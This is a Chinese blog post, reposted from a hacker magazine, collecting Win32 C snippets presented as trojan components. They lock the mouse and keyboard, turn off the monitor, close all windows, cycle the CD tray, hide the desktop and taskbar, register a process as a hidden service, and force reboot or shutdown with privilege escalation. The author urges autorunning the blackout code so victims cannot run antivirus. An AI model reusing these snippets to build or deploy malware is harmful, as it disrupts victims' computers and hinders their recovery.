木马的一些函数要素

作者在 2008-11-29 15:24:05 发布以下内容
1.锁定鼠标:
这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
printf("/n别害怕15妙后你的鼠标就可以使用了^_^/n");
RECT rect;
rect.bottom=1;
rect.right=1;
  ClipCursor(&rect);
::Sleep(15000);
ClipCursor(NULL);//释放
return 0;
}
  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域
2.锁定键盘:
锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了
  #include <stdio.h>
#include <windows.h>
//处理按键消息的过程函数
LRESULT CALLBACK keyproc( int code,
      WPARAM wParam,
      LPARAM lParam )
{
return 1;//返回1可使键盘停止响应
}

main(int argc, char* argv[])
{

SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子
printf("/n/n/n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦/n");
::Sleep(15000);
}
  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL), GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.
3.关闭显视器
这个也是相当简单的看看代码:
#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭
::Sleep(10000);
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开

return 0;
}
要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿
4.关闭所有窗口
原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起
#include <windows.h>
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理
return 0;
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数
{
    ::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口
return (true);//返回FALSE时EnumWindows结束
}
程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵
5.锁定光驱
其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱
#include <mmsystem.h>//注意加入头文件
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
::mciSendString("set cdaudio door open",NULL,0,NULL);//打开
::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭
return 0;
}
//注意在 工程-设置-LINK中加入库文件名winmm.lib
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^
6.制造噪音
大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在
#include<windows.h>
main()
{
for(int j=450;j<500;j++)
{
  for(int i=1000;i<1110;i++)
  {
   Beep(i,30);
   ::Sleep(100);
  }
}

}
关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。
7.隐藏桌面
其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
HWND disk,mask;
disk=FindWindow("ProgMan",NULL);
mask=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(mask,SW_HIDE);//隐藏任务栏
ShowWindow(disk,SW_HIDE);//隐藏桌面
printf("/n15妙后会自动出现桌面 请等待...../n");
Sleep(15000);
ShowWindow(mask,SW_SHOW);//显示
ShowWindow(disk,SW_SHOW);//显示
return 0;
}

函数功能描述:RegisterServiceProcess函数注册或者取消一个进程为服务。当用户注销之后,服务进程仍可运行。

函数原型:
DWORD RegisterServiceProcess(
  DWORD dwProcessId,  
  DWORD dwType        
);

参数:
dwProcessId
   指定注册为服务的进程标识(Id),当前进程可以用NULL。
dwType
   指明是注册服务还是取消服务,可以是下面的值之一。
   值   意义
   0    取消服务
   1    注册进程为服务

返回值:
   如果函数调用成功,返回值为1,任何错误都将返回0。

注释:
   为了调用RegisterServiceProcess,应该用函数GetProcAddress从KERNEL32.DLL中得到它的函数指针,然后用函数指针调用 RegisterServiceProcess。

示例代码:

   调用KERNEL32.DLL中的RegisterServiceProcess(仅在Windows98中适用)
   
   HMODULE hModule=GetModuleHandle("kernel32.dll");
   if (hModule)
   {
      typedef DWORD (CALLBACK *LPFNREGISTER)(DWORD,DWORD);
      LPFNREGISTER lpfnRegister;
      lpfnRegister=(LPFNREGISTER)GetProcAddress(hModule,"RegisterServiceProcess");
      if (lpfnRegister)
      {
         (*lpfnRegister)(NULL,1L);   
      }
   }   

 

 

 

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

注销、重启和关机
这三个功能都是调用ExitWindowsEx函数实现〖本文来自论文路上,Www.Lw63.Com,专业毕业设计〗所不同的是远程重启和关机所需要的权限较高,需要把程序进程提权。远程重启和关机的实现比较类似,只是ExitWindowsEx的调用不同(重启EWX_REBOOT,关机EWX_SHUTDOWN)。服务端添加注销计算机函数LogOff(),重启计算机函数Reboot()和关机函数poweroff()。
核心代码如下:
注销功能是通过以下函数实现:
int CMainFrame::LogOff()    //注销
{
ExitWindowsEx(EWX_LOGOFF,0);
return 0;
}
重新启动计算机通过以下函数实现:
int CMainFrame::Reboot()   //重新启动
{
HANDLE                        hToken;
TOKEN_PRIVILEGES             tkp;
DWORD                         dwVersion; // 版本号
dwVersion = GetVersion();      //得到WINDOWS NT或Win32的版本号
if(dwVersion < 0x80000000)
{
 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
  LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,           &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; //设置权限
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
}
else     //WIN系列其它系统
{
ExitWindowsEx(EWX_FORCE | EWX_REBOOT, 0);
}
return 0;
}
关机功能通过以下函数实现:
int CMainFrame::PowerOff()   //关机
{
HANDLE                hToken;
TOKEN_PRIVILEGES     tkp;
DWORD                 dwVersion;  // 版本号
dwVersion = GetVersion();        //得到WINDOWS NT或Win32的版本号
if(dwVersion < 0x80000000)    //用于判断WIN系列,从而设置相应的权限
{
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; //设置权限
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
}
else
{
 ExitWindowsEx(EWX_FORCE | EWX_SHUTDOWN, 0);
}
return 0;
}

 

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


windows网络编程 | 阅读 4342 次
文章评论,共0条
游客请输入验证码